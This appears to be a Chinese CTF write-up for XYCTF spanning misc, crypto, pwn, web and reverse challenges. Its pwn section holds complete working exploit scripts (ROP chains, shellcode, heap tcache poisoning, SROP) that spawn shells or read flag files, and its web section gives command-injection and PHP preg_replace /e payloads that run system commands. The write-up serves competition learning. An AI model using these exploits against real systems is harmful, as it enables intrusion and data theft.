1. MISC
1.1. Rosk,Paper,Scissors!
一开始是暴力爆破(就 whilt True: random),后来能看出来规律了就直接找规律了(后面都是[0,0,1,1,2,2]循环),算法什么的根本没管(逃)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from pwn import *from random import randintm = [b"Rock" ,b"Paper" ,b"Scissors" ] ans = [0 ,0 ,1 ,1 ,2 ,2 ]*100 ans[1 ]=1 ans[3 ]=2 while True : try : sh = remote('heuctf.cn' ,11055 ,level="CRITICAL" ) for _ in range (100 ): sh.recvuntil(b' round\n> ' ) if len (ans) > _: sh.sendline(m[ans[_]]) sh.recvline() if sh.recvline() != b"You win!\n" : raise Exception() else : r = randint(0 ,2 ) sh.sendline(m[r]) sh.recvline() if sh.recvline() == b"You win!\n" : ans.append(r) print (ans) else : raise Exception() sh.interactive() except Exception: sh.close()
1.2. game
这游戏我看过,一眼看出来了,当时还是看的狗乔伊视频认识的BV1f64y1T71B
1.3. 我的二维码为啥扫不出来?
看出来是行和列选7列反转颜色,然后带方框的4行/列能还原,然后大致张这样:
这时候还剩3行/列没还原,写个脚本爆破一下吧(虽然是爆破 但是也懒得写爆破算法 于是又用的random 反正跑挺快):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from PIL import Imageimport randomfrom pyzbar.pyzbar import decodedef reverse_color (x ): return 0 if x == 255 else 255 def reverse_row_colors (pixels, row, width, block_size=10 ): for x_block in range (width // block_size): x = x_block * block_size y = row * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) def reverse_col_colors (pixels, col, height, block_size=10 ): for y_block in range (height // block_size): x = col * block_size y = y_block * block_size for x_small in range (x, x + block_size): for y_small in range (y, y + block_size): pixel = pixels[x_small, y_small] pixels[x_small, y_small] = reverse_color(pixel) original_img = Image.open ("new2.bmp" ) while True : new_img = original_img.copy() width, height = new_img.size pixels = new_img.load() a = lambda i:reverse_col_colors(pixels,i,height) b = lambda i:reverse_row_colors(pixels,i,width) for _ in range (3 ): [a,b][random.randint(0 ,1 )](8 +random.randint(0 ,7 )) d = decode(new_img) if len (d): print (decode(new_img)) break
1.4. zzl的护理小课堂
(这不是web题?)
一开始试出全部答案发现没卵用,后来阅读源码发现有本地判断逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if (xhr.readyState === 4 && xhr.status === 200 ) { var score = xhr.responseText ; if (score == 100 ) { document .getElementById ('scoreDisplay' ).innerText = "你的分数是: " + score + "/100 杂鱼,怎么才100分啊" ; } else if (score < 100 ) { document .getElementById ('scoreDisplay' ).innerText = "你的分数是: " + score + "/100 noooooob!!" ; } else { var flagXhr = new XMLHttpRequest (); flagXhr.open ('GET' , 'flag.php' , true ); flagXhr.onreadystatechange = function ( ) { if (flagXhr.readyState === 4 && flagXhr.status === 200 ) { var flag = flagXhr.responseText ; document .getElementById ('scoreDisplay' ).innerText = "Flag: " + flag; } }; flagXhr.send (); } } }; xhr.send (formData);
那这就简单了,直接复制下面这段到控制台执行就行:
1 2 3 4 5 6 7 8 9 var flagXhr = new XMLHttpRequest (); flagXhr.open ('GET' , 'flag.php' , true ); flagXhr.onreadystatechange = function ( ) { if (flagXhr.readyState === 4 && flagXhr.status === 200 ) { var flag = flagXhr.responseText ; document .getElementById ('scoreDisplay' ).innerText = "Flag: " + flag; } }; flagXhr.send ();
用postman模拟,懒,不如控制台
1.5. ez_隐写
首先CRC爆破一下,这个随便搬个网上脚本就行,然后就是隐写,搜半天发现有个52pojie的图片隐写工具,拖进去就能看见了:
1.6. 熊博士
啊不是,你这图片有啥用啊?我到现在也没懂
(你这不算古典密码学?)
观察到CBXGU和XYCTF挺像的 至少不同字符差的距离都一样 然后进一步用"CBXGU"-"XYCTF"减一下就能看出规律
然后发现就是把字母表发转了,这就简单了
1 2 3 4 >>> alpha = [chr (i) for i in range (ord ('A' ),ord ('Z' )+1 )]>>> d = dict (zip (reversed (alpha),alpha))>>> "" .join([d.get(i,i) for i in "CBXGU{ORF_BV_NVR_BLF_CRZL_QQ}" ])'XYCTF{LIU_YE_MEI_YOU_XIAO_JJ}'
真是令人印象深刻的flag
1.7. ZIP神之套
不知道为啥这题用john+hashcat爆破不出来,换成ARCHPR秒出
然后一个套一个flag,很明显的明文攻击:
1.8. 出题有点烦
flag.7z爆破密码123456
第五个图片能直接作为zip打开(woc 7z这么nb?)
嗯 然后010看到是尾部附加文件,提取出来,再次爆破
密码xyctf,得到真的flag
(欸不是 你那么多图片到底干啥用的?)
1.9. 真>签到
文件打不开就直接拖进010了,然后就 签到了
1.10. 签到
关注公众号发消息即可
1.11. TCPL
啊?你这不算RE?
按照https://www.francisz.cn/2021/10/03/riscv-arch-env/ 教程布置一个riscv环境,然后运行即可,把里面的1换成0就是flag(谁叫我user mode不能直接运行起来呢QAQ)
1.12. 网络追踪
靶机IP倒是好找,回显的就是靶机:192.168.204.133
然后以ip.src == 192.168.204.133作为过滤条件,能看到端口扫描的过程:
然后端口就能出来:445、139、135
然后CVE,这个头疼,因为回显的TCP包上面全是SMB包,猜测就是SMB包打的CVE,然后就是根据SMB包的内容一顿去谷歌瞎搜,什么\pipe\spoolss
了,什么\PIPE\browser
了都可能是攻击点,总之最后一顿搜SMB相关的CVE,最后试flag试出来是CVE-2008-4250
完整的flag:XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}
1.13. Osint1
因为有人在小红书上问了,小红书作者还回答了地点,所以大致范围就确定了(小红书链接是百度搜图搜出来的):
然后江苏省,南通市,黄海,至于什么路,emmm
因为看另外两张图片有好多风车,就卫星地图把带风车的路都塞一遍就完事了,滨海(东西南北)路我印象里好像都填过一遍
flag:xyctf{江苏省|南通市|滨海东路|黄海}
1.14. Osint2
列车好找(大概?)
就是你这火车,为啥中途还会变名字啊,搞得我纠结了半天是G3292还是G3293:
省就简单了,都洛阳龙门了那肯定河南啊
至于去哪玩,又是一顿爆猜,总之最后才出来flag:xyctf{G3293|河南省|老君山}
1.15. EZ_Base1024*2
1.16. Ez_osint
首先能找到网站
然后发现这个网站的ID和事件随线性分布,就,找俩时间接近的帖子,在这之间爬一下公开的帖子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import requestsfrom time import sleepfor i in reversed (range (478961 ,494500 )): data = requests.get(f"https://www.hi2future.com/Mail/showitem/id/{i} " ,headers={ "Referer" :"https://www.hi2future.com/Mail/showitem/id/478961" , "User-Agent" :"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36" , }) data.encoding = 'utf-8' print (i,end="" ) if "这封并不是公开信" in data.text: print ("不公开" ) else : print ("公开" ) sleep(0.05 )
然后找到帖子:https://www.hi2future.com/Mail/showitem/id/494468
这评论区也太难崩了
2. Crypto
2.1. happy_to_solve1
呃 这题有点太原题了吧
首先一眼看出最大的问题是sympy.nextprime(p ^ ((1 << 512) - 1))
然后去上网搜,毕竟我不会啥密码学
然后就在https://forum.butian.net/share/1752找到了
题目是2022 zer0pts CTF Anti-Fermat
然后就是把1<<1024换成了1<<512,总之用这个wp的脚本就能解
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from Crypto.Util.number import *import gmpy2import sympyn = 24852206647750545040640868093921252282805229864862413863025873203291042799096787789288461426555716785288286492530194901130042940279109598071958012303179823645151637759103558737126271435636657767272703908384802528366090871653024192321398785017073393201385586868836278447340624427705360349350604325533927890879 c = 14767985399473111932544176852718061186100743117407141435994374261886396781040934632110608219482140465671269958180849886097491653105939368395716596413352563005027867546585191103214650790884720729601171517615620202183534021987618146862260558624458833387692782722514796407503120297235224234298891794056695442287 e = 65537 p=(gmpy2.iroot(pow (2 ,1024 )-4 *n,2 )[0 ]+pow (2 ,512 ))//2 p=int (p) while (1 ): p=sympy.nextprime(p) if (n%p==0 ): print (p) break q=n//p phi=(p-1 )*(q-1 ) d=gmpy2.invert(e,phi) m=pow (c,d,n) flag=long_to_bytes(int (m)) print (flag)
1 2 11186104509771514497905845277525414324848282003961401424656189058347435564219816052776565548550435972724614541793612778837623695399649245354880712765072167 b'XYCTF{3f22f4efe3bbbc71bbcc999a0a622a1a23303cdc}'
2.2. Sign1n[签到]
难得有我能看得懂的密码学题
就 多加的减回来就行,swap的换回来就行,就是我咋感觉我处理的这么怪:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 s = '12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456799123455779902334577801134557889112456678911344578890233457790013355689902335667990134457799122355689001335668891124566780112455679902334568900133566889113356679901245567990233457790013356688901235667800124556889023346678011335668891223467789023445679902334677801123557889122346779901245577991223566890113455689911234677891224556899023' s = [int (i) for i in s] s = [(s[i]+10000000 -i-1 )%10 for i in range (len (s))] s = "" .join([str (i) for i in s]) def swap_bits (input_str ): input_list = list (input_str) length = len (input_list) for i in range (length // 2 ): temp = input_list[i] input_list[i] = input_list[length - 1 - i] input_list[length - 1 - i] = temp return '' .join(input_list) print ("0" +swap_bits(s))
1 2 PS C:\Users\jht3\Downloads\Sign1n> python .\exp.py011001100110110001100001011001110111101100110101011000010110001100110100011001100110010000111000011000110010110101100010011000100110001000110000001011010011010001100100011000010011010100101101001110000110010001100110001110010010110100111001001101010011000100110110011001010011010001100011001101000011100100110111011001000110010101111101000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2.3. Sign1n_Revenge
内容同Sign1n[签到],同一个脚本再跑一遍就完事了
3. PWN
终于到我PWN的主场了吗(但是我怎么RE做的最多啊喂)
3.1. hello_world(签到)
leak libc然后one gadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import *import osos.chdir('./bin' ) sh = remote('127.0.0.1' ,11027 ) sh.recvuntil(b'please input your name: ' ) sh.send(b'a' *(0x20 +8 )) sh.recvuntil(b'Welcome to XYCTF! ' ) sh.recvuntil(b'a' *(0x20 +8 )) data = sh.recvline()[:-1 ] data = data.ljust(8 ,b'\x00' )[:8 ] data = u64(data) libc_base = data-0x29D90 print ('libc_base' ,hex (libc_base))one_gadget = libc_base+0xebc81 bss_addr = libc_base+0x21bbb0 ret_addr = libc_base+0x29139 print ('one_gadget' ,hex (one_gadget))print ('bss_addr' ,hex (bss_addr))sh.recvuntil(b'please input your name: ' ) sh.send(b'a' *0x20 +p64(bss_addr)+p64(ret_addr)+p64(one_gadget)) sh.interactive()
3.2. invisible_flag
通过shellcode进行orw,对函数有限制因此使用了openat pread64和sendto
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from pwn import *import oscontext.os = 'linux' context.arch = 'amd64' os.chdir('./bin' ) sh = remote('127.0.0.1' ,11036 ) ''' openat(-100,'flag',0,0) pread64(3,0x114514500,64,0) sendto(1,0x114514500,64,0,0,0) ''' shellcode = ''' mov rax,257 mov rdi,-100 push 0x67616c66 mov rsi,rsp xor rdx,rdx xor r10,r10 syscall mov rax,17 mov rdi,3 mov rsi,0x114514500 mov rdx,64 xor r10,r10 syscall mov rax,44 mov rdi,1 mov rsi,0x114514500 mov rdx,64 xor r10,r10 xor r9,r9 xor r8,r8 syscall ''' shellcode = asm(shellcode) sh.send(shellcode) sh.interactive()
3.3. fmt
通过exit_hooko来onegadget
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *import osos.chdir('./bin' ) sh = remote('127.0.0.1' ,11030 ) elf = ELF('./vuln' ) libc = ELF('./libc-2.31.so' ) ld = ELF('ld-2.31.so' ) sh.recvuntil(b'Welcome to xyctf, this is a gift: ' ) libc_base = sh.recvline()[:-1 ] libc_base = eval (libc_base) libc_base = libc_base - libc.symbols["printf" ] print ('libc_base' ,hex (libc_base))one_gadget = libc_base + 0xe3b2e print ('one_gadget' ,hex (one_gadget))ld_base = libc_base+0x1f4000 print ('ld_base' ,hex (ld_base))_rtld_global = ld_base+ld.symbols["_rtld_global" ] _dl_rtld_lock_recursive = _rtld_global + 0xf08 print ('_dl_rtld_lock_recursive' ,hex (_dl_rtld_lock_recursive))input ()sh.send(b'%7$lld' .ljust(8 ,b'\x00' )+p64(_dl_rtld_lock_recursive)) input ()sh.sendline(str (one_gadget).encode()) sh.interactive()
3.4. static_link
静态链接,直接ORW
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *import osos.chdir('./bin' ) sh = remote('127.0.0.1' ,11038 ) elf = ELF('./vuln' ) open64_addr = elf.symbols['open64' ] read_addr = elf.symbols['read' ] puts_addr = elf.symbols['puts' ] rdi_ret = 0x0000000000401f1f rsi_ret = 0x0000000000409f8e rdx_ret = 0x0000000000451322 flag_addr = 0x4C7500 payload = b'a' *0x20 +p64(0 ) payload += p64(rdi_ret)+p64(0 ) payload += p64(rsi_ret)+p64(flag_addr) payload += p64(rdx_ret)+p64(4 ) payload += p64(read_addr) payload += p64(rdi_ret)+p64(flag_addr) payload += p64(rsi_ret)+p64(0 ) payload += p64(rdx_ret)+p64(0 ) payload += p64(open64_addr) payload += p64(rdi_ret)+p64(3 ) payload += p64(rsi_ret)+p64(flag_addr) payload += p64(rdx_ret)+p64(64 ) payload += p64(read_addr) payload += p64(rdi_ret)+p64(flag_addr) payload += p64(puts_addr) input ()sh.send(payload) input ()sh.send(b'flag' ) sh.interactive()
3.5. one_byte
我竟然在比赛快结束的时候打鸡血把这题做出来了
之前只做过板题,对堆不熟,这题libc又比较新,就不太想做
总之unsorted bin leak,在leak的时候记得把tcache耗光
然后one_byte让造成chunk extend造成overlapping
然后改tcache的next地址达到任意写修改free_hook为system(tcache的任意写 感觉比fastbin容易多了 fastbin那个任意写我到现在没布局明白)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from pwn import *from time import sleepcontext.log_level = 'debug' sh = remote('127.0.0.1' ,42527 ) libc = ELF('libc.so.6' ) def add_chunk (idx,size ): sh.recvuntil(b'>>> ' ) sh.sendline(b'1' ) sh.recvuntil(b'[?] please input chunk_idx: ' ) sh.sendline(str (idx).encode()) sh.recvuntil(b'[?] Enter chunk size: ' ) sh.sendline(str (size).encode()) def delete_chunk (idx ): sh.recvuntil(b'>>> ' ) sh.sendline(b'2' ) sh.recvuntil(b'[?] please input chunk_idx: ' ) sh.sendline(str (idx).encode()) def view_chunk (idx ): sh.recvuntil(b'>>> ' ) sh.sendline(b'3' ) sh.recvuntil(b'[?] please input chunk_idx: ' ) sh.sendline(str (idx).encode()) data=sh.recvuntil(b'Welcome to XYCTF\n' )[:-17 ] return data def edit_chunk (idx,data ): sh.recvuntil(b'>>> ' ) sh.sendline(b'4' ) sh.recvuntil(b'[?] please input chunk_idx: ' ) sh.sendline(str (idx).encode()) sleep(0.5 ) sh.send(data) for i in range (0x7 ): add_chunk(i,0x200 ) add_chunk(7 ,0x18 ) add_chunk(8 ,0x18 ) add_chunk(9 ,0x200 ) add_chunk(10 ,0x18 ) for i in range (0x7 ): delete_chunk(i) delete_chunk(9 ) edit_chunk(7 ,b'a' *0x18 +b'\x41' ) delete_chunk(8 ) add_chunk(8 ,0x38 ) data = view_chunk(8 )[0x20 :][:8 ] libc_base = u64(data)-0x1ecbe0 print ('libc_base' ,hex (libc_base))system_addr = libc_base + libc.symbols['system' ] free_hook = libc_base + libc.symbols['__free_hook' ] for i in range (0x7 ): add_chunk(i,0x200 ) add_chunk(9 ,0x200 ) add_chunk(0x10 ,0x18 ) add_chunk(0x11 ,0x18 ) add_chunk(0x12 ,0x28 ) add_chunk(0x13 ,0x18 ) add_chunk(0x14 ,0x28 ) edit_chunk(0x10 ,b'a' *0x18 +b'\x41' ) delete_chunk(0x11 ) add_chunk(0x11 ,0x38 ) delete_chunk(0x14 ) delete_chunk(0x12 ) edit_chunk(0x11 ,p64(0 )*3 +p64(0x31 )+p64(free_hook)) add_chunk(0x12 ,0x28 ) add_chunk(0x14 ,0x28 ) edit_chunk(0x14 ,p64(system_addr)) add_chunk(0x1f ,0x20 ) edit_chunk(0x1f ,b'/bin/sh\x00' ) delete_chunk(0x1f ) sh.interactive()
3.6. guestbook1
id的最后一位有溢出,能修改rbp变为更小的地址,溢出后两次return会造成栈迁移,能让return落到name段,然后就通过backdoor来getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import *import osos.chdir('./bin' ) sh = remote('127.0.0.1' ,11032 ) elf = ELF('./pwn' ) backdoor = 0x0401323 for i in range (33 ): sh.recvuntil(b'index\n' ) sh.sendline(str (i).encode()) sh.recvuntil(b'name:\n' ) sh.send(p64(backdoor)*2 ) sh.recvuntil(b'id:\n' ) sh.sendline(b'8' ) sh.recvuntil(b'index\n' ) sh.sendline(b'-1' ) sh.interactive()
3.7. simple_srop
被限制要ORW了啊,一开始因为找不到大的地址空间写payload卡了半天,后来发现好像随便找个没用过的内存就行
总之先read+栈迁移,然后ORW:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.arch = 'amd64' sh = remote('127.0.0.1' ,34157 ) sigret = 0x401296 fake_stack = 0x404800 syscall_ret = 0x40129D main_addr = 0x4012A3 flag_addr = fake_stack+0x400 payload = b'a' *0x20 +p64(0 ) payload += p64(sigret) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 0 sigframe.rsi = fake_stack sigframe.rdx = 0x500 sigframe.rsp = fake_stack sigframe.rip = syscall_ret payload += bytes (sigframe) sh.send(payload) input ()payload = b'' payload += p64(sigret) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_open sigframe.rdi = flag_addr sigframe.rsi = 0 sigframe.rdx = 0 sigframe.rsp = fake_stack+0x100 sigframe.rip = syscall_ret payload += bytes (sigframe) payload += p64(sigret) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_read sigframe.rdi = 3 sigframe.rsi = flag_addr sigframe.rdx = 0x100 sigframe.rsp = fake_stack+0x200 sigframe.rip = syscall_ret payload += bytes (sigframe) payload += p64(sigret) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_write sigframe.rdi = 1 sigframe.rsi = flag_addr sigframe.rdx = 0x100 sigframe.rsp = fake_stack+0x300 sigframe.rip = syscall_ret payload += bytes (sigframe) payload += p64(main_addr) payload = payload.ljust(0x400 ,b'\x00' )+b'flag\x00' sh.send(payload) sh.interactive()
3.8. EZ1.0?
啊?为了这个我还特意学了下mips的PWN流程,啊折磨,大致就是写shellcode到栈上,然后通过还原寄存器让fp得jmp_a2的gadget,然后reutrn到sp2a2_jmp_fp的gadget上,此时会让a2=sp+偏移,然后跳到fp上,执行jmp_a2的gadget,就达到了jmp到栈上shellcode的目的
shllcode换了两个,第二个能pwn成功,第一个远程打不通我也不知道为啥,shllcode来源https://shell-storm.org/shellcode/files/shellcode-80.html:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import *context(arch='mips' ,endian='little' ,os='linux' ) sh = remote('python' ,11025 ) sh.recvuntil(b'welcome XYCTF mips world\n' ) sp2a2_jmp_fp = 0x00427968 jmp_a2 = 0x0041FBF4 shellcode = b'\xff\xff\x10\x04\xab\x0f\x02\x24' shellcode += b'\x55\xf0\x46\x20\x66\x06\xff\x23' shellcode += b'\xc2\xf9\xec\x23\x66\x06\xbd\x23' shellcode += b'\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf' shellcode += b'\x9a\xf9\xbd\x23\x21\x20\x80\x01' shellcode += b'\x21\x28\xa0\x03\xcc\xcd\x44\x03' shellcode += b'/bin/sh' shellcode = b'\x50\x73\x06\x24\xff\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28' shellcode += b'\xe0\xff\xbd\x27\xd7\xff\x0f\x24\x27\x78\xe0\x01\x21\x20\xef\x03' shellcode += b'\xe8\xff\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x23\xab\x0f\x02\x24' shellcode += b'\x0c\x01\x01\x01/bin/sh' payload = b'a' *0x40 payload += p32(jmp_a2)+p32(sp2a2_jmp_fp) payload += b'a' *0x58 + shellcode sh.send(payload) sh.interactive()
3.9. EZ2.0?
啊?又来?
事后我才发现context的arch还在上一题的mips…不过好像没啥影响
我看网上的wp都是直接return到system,我tm,这也妹有啊
然后找了个syscall的解法,复刻了一下,做出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *context(arch='mips' ,endian='little' ,os='linux' ) sh = remote('127.0.0.1' ,11042 ) elf = ELF('./bin/pwn' ) svc = 0x0001c58c movr42r2_blx_r3 = 0x00043224 r7_ret = 0x00027d78 r4_ret = 0x000104e0 r3_ret = 0x00010160 r1_ret = 0x0005f824 r0_ret = 0x0005f73c str_bin_sh = 0x0008A090 payload = b'a' *0x44 payload += p32(r0_ret)+p32(str_bin_sh) payload += p32(r1_ret)+p32(0 ) payload += p32(r3_ret)+p32(svc) payload += p32(r4_ret)+p32(0 ) payload += p32(r7_ret)+p32(0xB ) payload += p32(movr42r2_blx_r3) sh.send(payload) sh.interactive()
4. Web
web会不了一点,看我上面的队伍做出的web真的是一大片一大片的,真是馋这个分啊QAQ
4.1. 牢牢记住,逝者为大
cp /flag /var/www/html
解决的问题
这玩意 flag前面没/
还不行,还有这个目录还在var里,像我这种都把www塞根目录下的,就很,没底
1 http://localhost:46180/?cmd=%0A`$_GET[1]`;%23&1=%24(echo%20-e%20%22\0143\0160\040\057\0146\0154\0141\0147\040\057\0166\0141\0162\057\0167\0167\0167\057\0150\0164\0155\0154\057\0146\0154\0141\0147%22)
4.2. warm up
一顿上网上搜php知识,倒是做出来了
一开始md5弱比较,直接0e比较漏洞:
http://localhost:47330/?val1=QNKCDZO&val2=s878926199a
第二层还是弱比较,找个0e开头,md5也是0e开头的字符串:
http://localhost:47330/?val1=QNKCDZO&val2=s878926199a&md5=0e215962017
第三层XYCTF_550102591的md5为0e937920457786991080577371025051
结果还是0e啊…直接覆盖XY和XYCTF然后0e比较
http://localhost:47330/?val1=QNKCDZO&val2=s878926199a&md5=0e215962017&XY=s878926199a&XYCTF=s878926199a
这咋还有Level2啊,看到preg_match和preg_replace直接上网搜php漏洞
preg_replace能执行,preg_match不能处理数组,php真神奇,但是我a好像直接写正则也没问题,原理我就不懂了,总之最后post了下面这个玩意
http://127.0.0.1:47330/LLeeevvveeelll222.php?a=/123/e&b=system("cat /flag")&c=123
4.3. ezMake
还好我写过make(逃)
直接用make的执行shell功能就能打印出flag
https://seisman.github.io/how-to-write-makefile/functions.html#shell
4.4. ezhttp
首先是看眼F12:
啊这,然后就找呗
1 2 username: XYCTF password: @JOILha!wuigqi123$
原神,启动!
好好好,XYCTF浏览器
好好好 改XFF
欸我tm,继续换:
试了半天用Client-IP解决了,怎么还有啊.jpg
呃啊啊啊啊啊,竟然还有
终于结束哩!
4.5. ezmd5
上传两个图片并比较,好像要求图片不同md5相同,测试了一下,好像有图片的头几个字节就行了,上网搜有没有md5碰撞器,然后就找到了这个:
这下好说了,碰俩图片就行了:
5. Reverse
23个题啊 23个题 写题解最累的一回
5.1. Trustme
呃,直到我做完了好像才意识到这个有sql注入漏洞
类加载的时候有代理,那就看看代理
创建了个shell.apk,然后好像调用readDexFileFromApk和splitPayloadFromDex来写入这个apk
readDexFileFromApk好像就是从apk中找出classes.dex
而splitPayloadFromDex则是从文件尾读了4字节的int作为大小,经查看是4459705,然后调用decrypt xor 0xFF函数写入文件4459705大小的文件,
是个新apk,拖进jadx看一眼
SQL查询数据库啊
创建db又是xor 0xFF
打开db看见flag
5.2. DebugMe
这题好像附加调试器即可,但是android studio即使开了全局调试,也需要apk开启调试功能,结果我还得重新打包apk,android版本太高还有对齐问题安装不上,总之也算坐牢了:
5.3. baby unity
Il2CppDumper就行,但是在这之前记得upx unpack一下,能的出来一个26MB的script.json,用Il2CppDumper自带的ida_with_struct_py3.py能把符号加载进IDA中
可以看到操作就是b64之后xor了一下,随后解出flag
5.4. ez unity
竟然直接改的文件读取方式,而不是在读取前修复结构,看样子dump不了原文件了
但是frida-il2cpp-bridge能dump C#结构,但是导入不进IDA,看着坐牢
坐牢也看出来加密方法是AES+base64了
其中frida使用看的这个教程https://blog.csdn.net/weixin_44292683/article/details/132125663
posershell运行frida -p 程序PIDr -l D:\ctf\frida-il2cpp-bridge-0.9.0\dist\index.js"
然后控制台敲代码就能dump C#函数了(就是不能进IDA啊QAQ):
根据dump出来的信息能找到check函数:
1 2 3 4 5 6 7 8 9 10 11 12 class Check : UnityEngine.MonoBehaviour { System.Void Start () ; System.Void Update () ; System.Void OnClick () ; System.Boolean CheckFlag (System.String input ) ; static System.String AESEncrypt (System.String text, System.String key, System.String iv ) ; static System.String AESDecrypt (System.String text, System.Byte[] key, System.Byte[] iv ) ; System.Void .ctor(); }
接着动调找enc的flag
enc flag:pNufkEIU9dHjKXYXWiFyrthHYFEfqJAWcPM/t8/zX1w=
这个是base64编码过的在AESEncrypt最后一句话做的b64
接着就aes解密参数
key:a216d5d34c2723f5
iv:9f68268f755b1363
flag:XYCTF{IL2CPP_1s_intere5t1ng}
5.5. 你是真的大学生吗?
16位汇编阅读理解了属于是,当意识到是某种前后xor加密的时候一下子就出了
flag:xyctf{you_know_8086}
5.6. 喵喵喵的flag碎了一地
IDA使用教程了属于是:
flag:flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}
5.7. 聪明的信使
移位密码了属于是
1 2 3 4 5 6 7 8 9 10 11 >>> enc = "oujp{H0d_TwXf_Lahyc0_14_e3ah_Rvy0ac@wc!}" >>> alpha1 = [chr (i) for i in range (ord ('A' ),ord ('Z' )+1 )]>>> alpha2 = [chr (i) for i in range (ord ('a' ),ord ('z' )+1 )]>>> d1 = dict (zip ([chr ((ord (i)+9 -65 )%26 +65 ) for i in alpha1],alpha1))>>> d2 = dict (zip ([chr ((ord (i)+9 -97 )%26 +97 ) for i in alpha2],alpha2))>>> d1.update(d2)>>> _ = [d1.get(i,i) for i in enc]>>> _['f' , 'l' , 'a' , 'g' , '{' , 'Y' , '0' , 'u' , '_' , 'K' , 'n' , 'O' , 'w' , '_' , 'C' , 'r' , 'y' , 'p' , 't' , '0' , '_' , '1' , '4' , '_' , 'v' , '3' , 'r' , 'y' , '_' , 'I' , 'm' , 'p' , '0' , 'r' , 't' , '@' , 'n' , 't' , '!' , '}' ] >>> "" .join(_)'flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}'
5.8. 今夕是何年
要不扔到VT上看一眼我都猜不出来是LoongArch架构,这玩意DIE看不出来啊
知道架构就好说了
5.9. ezmath
拆个包先,记得去github下个新的https://github.com/extremecoders-re/pyinstxtractor/releases
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Desktop python C:\Users\Munchkin7035\Desktop\pyinstxtractor-2024 .04 \pyinstxtractor.py C:\Users\Munchkin7035\Desktop\ezmath.exe [+] Processing C:\Users\Munchkin7035\Desktop\ezmath.exe [+] Pyinstaller version: 2.1 + [+] Python version: 3.8 [+] Length of package: 4933185 bytes [+] Found 59 files in CArchive [+] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap.pyc [+] Possible entry point: ezmath.pyc [!] Warning: This script is running in a different Python version than the one used to build the executable. [!] Please run this script in Python 3.8 to prevent extraction errors during unmarshalling [!] Skipping pyz extraction [+] Successfully extracted pyinstaller archive: C:\Users\Munchkin7035\Desktop\ezmath.exe You can now use a python decompiler on the pyc files within the extracted directory
然后pycdc走一个:
这稍微整理一下:
